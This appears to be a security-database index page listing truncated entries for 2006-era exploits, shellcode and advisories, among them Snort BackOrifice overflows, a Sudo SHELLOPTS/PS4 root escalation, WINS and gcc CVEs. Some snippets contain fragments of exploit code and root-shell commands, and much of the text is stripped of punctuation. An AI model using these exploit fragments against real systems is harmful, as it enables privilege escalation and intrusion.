Python 2.4.2 - realpath() Local Stack Overflow

Python 2.4.2 - realpath Local Stack Overflow !/usr/bin/python gexp-python.py Python vuln.py; python vuln.py' os.remove"vuln.py" os.chdirbase os.removedirsdir milw0rm.com 2006-03-18...

Python 2.4.2 - 'realpath()' Local Stack Overflow

!/usr/bin/python gexp-python.py Python vuln.py; python vuln.py' os.remove"vuln.py" os.chdirbase os.removedirsdir milw0rm.com 2006-03-18...

[SA19078] Linux Kernel "die_if_kernel()" Potential Denial of Service

TITLE: Linux Kernel "dieifkernel" Potential Denial of Service SECUNIA ADVISORY ID: SA19078 VERIFY ADVISORY: http://secunia.com/advisories/19078/ CRITICAL: Not critical IMPACT: DoS WHERE: Local system OPERATING SYSTEM: Linux Kernel 2.6.x http://secunia.com/product/2719/ DESCRIPTION: A vulnerabilit...

USN-260-1: flex vulnerability

Chris Moore discovered a buffer overflow in a particular class of lexicographical scanners generated by flex. This could be exploited to execute arbitrary code by processing specially crafted user-defined input to an application that uses a flex scanner for parsing. This flaw particularly affects...

D-Link Wireless Access Point (Fragmented UDP) DoS Exploit

No description provided by source. / Aaron Portnoy silc.thunkers.net, thunkers D-Link Wireless Access Point Fragmented UDP DoS Proof of Concept gcc -o dlinkdos dlinkdos.c -lnet -Wall / include libnet.h define DEVICE "eth0" define SRCIP "127.0.0.1" define DSTIP "127.0.0.1" define SRCPRT 200 define...

linux/x86 TCP Proxy Shellcode 236 bytes

Exploit for linux/x86 platform in category shellcode ======================================= linux/x86 TCP Proxy Shellcode 236 bytes ======================================= // proxylib.c - is located at http://www.milw0rm.com/id.php?id=1476 /str0ke / hey all.. this is my attempt at a very small...

Xmame 0.102 (-lang) Local Buffer Overflow Exploit

No description provided by source. !/usr/bin/ruby One of the PoC code for xmame "-lang" options. Advisory is base on : http://kerneltrap.org/node/6055 by xwings at mysec dot org url : http://www.mysec.org , new website Tested on : Linux debian24 2.4.27-2-386 1 Mon May 16 16:47:51 JST 2005 i686...

Snort <= 2.4.2 Back Orifice Pre-Preprocessor Remote Exploit (4)

Exploit for linux platform in category remote exploits =============================================================== Snort hey xwings 03:07 why don't you come up and see me sometime? Tested on : Linux debian24 2.4.27-2-386 1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux gcc version 3.3.5 Debian...

Sudo 1.6.8p9 - SHELLOPTSPS4 Environment Variables Privilege Escalation

Sudo 1.6.8p9 - SHELLOPTSPS4 Environment Variables Privilege Escalation Sudo local root escalation privilege vuln versions : sudo int main setuid0; system"/bin/sh"; % % gcc -o egg egg.c % setenv SHELLOPTS xtrace % setenv PS4 '$chown root:root egg' % sudo ./x.sh echo Getting root!! Getting root!! %...

Snort 2.4.2 - BackOrifice Remote Buffer Overflow (Metasploit)

Snort 2.4.2 - BackOrifice Remote Buffer Overflow Metasploit for educational purpose only by Kira package Msf::Exploit::snortbooverflowwin32; use base 'Msf::Exploit'; use strict; use Pex::Text; my $holdrand; my $advanced = ; my $info = 'Name' = 'Snort Back Orifice Preprocessor Overflow', 'Version'...

Snort 2.4.2 - Back Orifice Parsing Remote Buffer Overflow

/ THCsnortbo 0.3 - Snort BackOrifice PING exploit by [email protected] THC PUBLIC SOURCE MATERIALS Bug was found by Internet Security Systems http://xforce.iss.net/xforce/alerts/id/207 v0.3 - removed/cleaned up info for public release v0.2 - details added, minor changes v0.1 - first release Greetz to al...

Adobe Version Cue 1.0/1.0.1 (OSX) - '-lib' Local Privilege Escalation

/ Adobe Version Cue VCNativeOSX: local root exploit. dyld by: vade79/v9 [email protected] fakehalo/realhalo Adobe Version Cue's VCNative program allows un-privileged local users to load arbitrary libraries"bundles" while running setuid root. this is done via the "-lib" command-line option. note:...

FreeBSD : Cyrus IMAPd -- APPEND command uses undefined programming construct (31952117-3d17-11d9-8818-008088034841)

To support MULTIAPPENDS the cmdappend handler uses the global stage array. This array is one of the things that gets destructed when the fatal function is triggered. When the Cyrus IMAP code adds new entries to this array this is done with the help of the postfix increment operator in combination...

linux/x86 upload & exec 189 bytes

Exploit for linux/x86 platform in category shellcode ================================= linux/x86 upload & exec 189 bytes ================================= UPLOAD & EXEC SHELLCODE 1 converting asm to hex 2 asm code 3 hex output 4 upload function This is an 'upload and exec' shellcode for the x86...

CVE-2000-1219

The CVE-2000-1219 entry documents a flaw in the -ftrapv option of gcc/g++ 3.3.3 and earlier that fails to handle all integer overflow types, potentially leaving applications vulnerable to overflow-related issues. Connected records confirm the affected component and root cause (incomplete handling...

CVE-2000-1219

The -ftrapv compiler option in gcc and g++ 3.3.3 and earlier does not handle all types of integer overflows, which may leave applications vulnerable to vulnerabilities related to overflows...

MS Windows (WINS) Remote Buffer Overflow Exploit (v.3)

No description provided by source. / Windows Internet Name Service WINS Remote Heap Buffer Overflow ------------------------------------ ------------------------------------ Advisory credits: ---------------- Nicolas Waisman of Immunity Inc. www.immunitysec.com Advisory link: ----------------...

libgcc contains multiple flaws that allow integer type range vulnerabilities to occur at runtime

Overview The libgcc runtime for the gcc and g++ compilers contain multiple flaws that can result in integer type range vulnerabilities in programs that are compiled using the -ftrapv option. Description Both gcc and g++ provide an -ftrapv compiler option that, according to the gcc man page,...

CVE-1999-1439

gcc 2.7.2 allows local users to overwrite arbitrary files via a symlink attack on temporary .i, .s, or .o files...

CVE-1999-1439

CVE-1999-1439 : The vulnerability is in gcc 2.7.2, where local users can overwrite arbitrary files via a symlink attack on temporary files ending in .i, .s, or .o. The provided documents describe the affected component and the underlying cause (symlink/temporary file race) and identify the impact...